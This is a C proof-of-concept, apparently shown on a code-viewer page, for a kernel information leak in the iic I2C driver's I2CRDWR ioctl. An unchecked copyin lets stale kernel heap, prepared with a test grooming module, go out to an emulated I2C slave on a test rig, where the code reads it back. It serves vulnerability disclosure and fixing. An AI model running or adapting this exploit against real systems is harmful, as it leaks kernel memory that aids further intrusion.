DF-2310 / poc2310.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 | /* * DF-2310 PoC -- I2CRDWR copyin(usrbufs[i], m->buf, m->len) at * sys/bus/iicbus/iic.c:362 is UNCHECKED: when the user buffer pointer is * invalid, copyin() fails silently and the freshly kmalloc'd (NOT * M_ZERO) m->buf -- i.e. stale kernel heap -- is transmitted to the I2C * peripheral by iicbus_transfer (:364). A root operator can groom the * stale chunk (marker + kernel-realm pointer qwords, DF-5558 groom KLD), * then read back what the wire carried via the rig's emulated slave. * * Also proves the sibling unchecked copyout at :369 (read side) silently * drops data -- secondary. * * Flow (rig: production iic.ko/iicbus.ko/iicbb.ko on fakebb3 harness): * 1. control: I2CRDWR write msg with a VALID buf -> slave captures * the pattern (rig healthy, copyin path works). * 2. groom: df5558.groom_size=32, groom_run -> kmalloc(32,M_TEMP)+ * fill("DF5558STALEHEAP!"+kptr)+kfree. * 3. attack: I2CRDWR write msg, len=32, buf=0xffffffff00000000 * (kernel-range -> copyin EFAULT, silently ignored). * 4. dump slave rx: "df5558staleheap" bytes present == stale kernel * heap disclosed onto the I2C wire (and readable back by the same * operator through any RD-capable path / logic analyzer). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/sysctl.h> #ifndef IIC_H #define IIC_H #include <sys/ioccom.h> #include <sys/types.h> /* local copy of the iic ioctl ABI (sys/bus/iicbus/iic.h) */ struct iic_msg { uint16_t slave; uint16_t flags; #define IIC_M_WR 0 #define IIC_M_RD 0x0001 uint16_t len; uint8_t *buf; }; struct iiccmd { u_char slave; int count; int last; char *buf; }; struct iic_rdwr_data { struct iic_msg *msgs; uint32_t nmsgs; }; #define I2CSTART _IOW('i', 1, struct iiccmd) #define I2CSTOP _IO('i', 2) #define I2CRSTCARD _IOW('i', 3, struct iiccmd) #define I2CWRITE _IOW('i', 4, struct iiccmd) #define I2CREAD _IOW('i', 5, struct iiccmd) #define I2CRDWR _IOW('i', 6, struct iic_rdwr_data) #define I2CRPTSTART _IOW('i', 7, struct iiccmd) #endif #define MSGLEN 32 struct iic_msg msg_user; struct iic_rdwr_data d; static int run_rdwr(int fd, struct iic_msg *m) { struct iic_rdwr_data dd; dd.msgs = m; dd.nmsgs = 1; return (ioctl(fd, I2CRDWR, &dd)); } static void dump_rx(const char *tag) { char buf[128]; size_t l = sizeof(buf); if (sysctlbyname("hw.fakebb3.dumprx", buf, &l, NULL, 0) < 0) { printf("DF2310: dumprx FAILED %s\n", strerror(errno)); return; } if (l >= sizeof(buf)) l = sizeof(buf) - 1; buf[l] = 0; /* the sysctl write side prints to console; read side returns hex */ printf("DF2310: %s slave-rx=%s\n", tag, buf); } static void clear_rx(void) { int v = 1; sysctlbyname("hw.fakebb3.clearrx", NULL, NULL, &v, sizeof(v)); } static void groom(void) { int size = MSGLEN, run = 1, stats = 0; size_t l; sysctlbyname("df5558.groom_size", NULL, NULL, &size, sizeof(size)); sysctlbyname("df5558.groom_run", NULL, NULL, &run, sizeof(run)); l = sizeof(stats); sysctlbyname("df5558.groom_stats", &stats, &l, NULL, 0); printf("DF2310: groom ran (stats=%d)\n", stats); } int main(void) { unsigned char good[MSGLEN]; int fd; setvbuf(stdout, NULL, _IONBF, 0); fd = open("/dev/iic0", O_RDWR); if (fd < 0) { printf("DF2310: open /dev/iic0 FAILED %s\n", strerror(errno)); return (1); } /* ---- control: valid buffer ---- */ memset(good, 0, sizeof(good)); for (int i = 0; i < MSGLEN; i++) good[i] = (unsigned char)(0x40 + i); clear_rx(); memset(&msg_user, 0, sizeof(msg_user)); msg_user.slave = 0x50; msg_user.flags = IIC_M_WR; msg_user.len = MSGLEN; msg_user.buf = good; if (run_rdwr(fd, &msg_user) < 0) { printf("DF2310: control I2CRDWR FAILED %s\n", strerror(errno)); return (1); } dump_rx("CONTROL (valid buf)"); /* ---- attack: invalid buffer after groom ---- */ clear_rx(); groom(); memset(&msg_user, 0, sizeof(msg_user)); msg_user.slave = 0x50; msg_user.flags = IIC_M_WR; msg_user.len = MSGLEN; msg_user.buf = (uint8_t *)0xffffffff00000000ULL; /* kernel range */ if (run_rdwr(fd, &msg_user) < 0) { printf("DF2310: attack I2CRDWR rc=%d (%s) -- note: the " "copyin failure is NOT reported; transfer ran anyway\n", errno, strerror(errno)); } else { printf("DF2310: attack I2CRDWR returned SUCCESS despite " "invalid buf (copyin error swallowed at iic.c:362)\n"); } dump_rx("ATTACK (invalid buf, post-groom)"); /* verdict from the console kprintf (hw.fakebb3.dumprx write) -- * re-read the sysctl for the hex here as well */ printf("DF2310: check console for '[fakebb3] rxlen=' lines: " "attack capture containing 44 46 35 35 35 38 53 54 41 4c 45 " "48 45 41 50 21 (\"DF5558STALEHEAP!\") == stale kernel heap " "sent to the I2C device\n"); return (0); } |